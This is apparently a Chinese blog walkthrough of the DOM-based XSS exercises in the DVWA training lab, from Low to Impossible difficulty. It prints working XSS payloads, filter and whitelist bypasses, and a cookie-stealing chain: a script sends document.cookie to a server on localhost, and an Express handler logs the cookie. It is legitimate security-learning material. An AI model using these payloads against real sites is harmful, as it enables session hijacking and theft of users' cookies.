網絡安全入門之跨站腳本攻擊 DVWA XSS DOM Low to High

1. 背景

最近需要補充一下網絡安全方面的知識,於是就從基礎的靶場 DVWA (Damn Vulnerable Web Application) 開始刷起,這一篇是關於從LowHigh難度的跨站腳本攻擊的內容。

和我一樣希望學習網絡安全知識的同學,推薦學習《Web安全攻防實戰》《安全攻防技能30講》

2. 環境搭建

參考上一篇關於 Brute Force 暴力破解密碼的博客

3. 跨站腳本攻擊

3.1. Low

Figure 1. XSS DOM \text{Figure 1. XSS DOM}

先從 Low 難度開始,這是一個下拉選擇框,我們先看一看構成選項的Javascript代碼,這裏會將URL中的default關鍵字的值拼接到HTML中。

if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

再看一看服務端的代碼,Low難度沒有對URL進行任何控制。

<?php

# No protections, anything goes

?>

比如我們想要竊取別人的Cookie的話,只需要誘導他點擊下面的鏈接。

http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script>

Figure 2. Cookie \text{Figure 2. Cookie}

當然,這個鏈接太明顯了,別人不一定會點擊,我們可以在服務器上掛一個網頁,從網頁轉到這個鏈接即可。

這裏我們僅在本地調試,我們在本地8888端口掛一個hack.js文件,這裏的命令將會把Cookie發送到hack接口。

window.location.href = "http://localhost:8888/hack?cookie=" + document.cookie;

再構造一個跳轉頁面作爲index.html

<!DOCTYPE html>
<html lang="zh">

    <head>
        <meta charset="UTF-8">
        <style>
            div {
                text-align: center;
            }

        </style>
    </head>

    <body>
        <div>
            <p>
                頁面跳轉中,請稍候。。。
            </p>
            <script src="transfer.js">

            </script>
        </div>
    </body>

</html>

下面是頁面中執行的transfer.js文件,它將當前頁面跳轉到XSS,然後執行hack.js,把cookie發送到了hack端口。

window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English<script src=http://localhost:8888/hack.js>\</script>";

服務端以Express爲例,hack端口輸出了傳入的cookie,並將頁面再重定向到 www.baidu.comExpress 的具體配置可以參考另一篇博客

var app = express();
app.get('/hack', function (req, res, next) {
    console.log("-----------------");
    console.log(req.query.cookie);
    console.log("-----------------");
    res.redirect('http://www.baidu.com');
});

最後cookie顯示在了服務端的日誌中。

Figure 3. Show Cookie \text{Figure 3. Show Cookie}

3.2. Medium

接下里是 Medium 難度。

我們先查看一下源碼,這裏對default屬性的值做了一個判斷,如果包含<script則將其值恢復到English,會將URL中的JavaScript腳本篩除掉。

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

script標籤不能用了,我們還可以使用img標籤訪問一個不存在的資源,然後在onerror中調用JavaScript代碼。

如果用document.writeselect標籤中寫入img標籤,會被自動抹除掉,所以要閉合optionselect標籤

transfer.js改成下面這樣,就能在onerror中使用alert命令了。

window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English</option></select><img hidden src=x οnerrοr=alert(document.cookie)>";

Figure 4. Medium \text{Figure 4. Medium}

不過這裏因爲不能把字符串和變量區分開,所以不能使用更加複雜的JavaScript代碼。

要實現把cookie發送到服務端,我們還可以在URL中使用 # 符號,# 在URL中用來在頁面中進行定位,瀏覽器不會把 # 後面的值發送到服務端。

所以,我們在transfer.js中加入一個 # 符號。

window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English# <script src=http://localhost:8888/hack.js>\</script>";

這樣就能繞過檢查規則,達到向我們的服務器發送cookie的目的了。

Figure 5. Show Cookie \text{Figure 5. Show Cookie}

3.3. High

接下來是High難度,源碼如下。

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

這裏使用了白名單,只允許 default 屬性爲4個合法值。用上面提到的#符號同樣可以繞過。

window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English# <script src=http://localhost:8888/hack.js>\</script>";

3.3. Impossible

Impossible就基本上沒有什麼安全漏洞了。

<?php

# Don't need to do anything, protction handled on the client side

?>
if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
    document.write("<option value='" + lang + "'>" + (lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

JavaScript中沒有對URL進行解碼,English後面的腳本會被URL編碼後放在選項中,腳本不會執行。

Figure 6. Impossible \text{Figure 6. Impossible}


聯繫郵箱[email protected]

CSDNhttps://me.csdn.net/qq_41729780

知乎https://zhuanlan.zhihu.com/c_1225417532351741952

公衆號複雜網絡與機器學習

歡迎關注/轉載,有問題歡迎通過郵箱交流。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章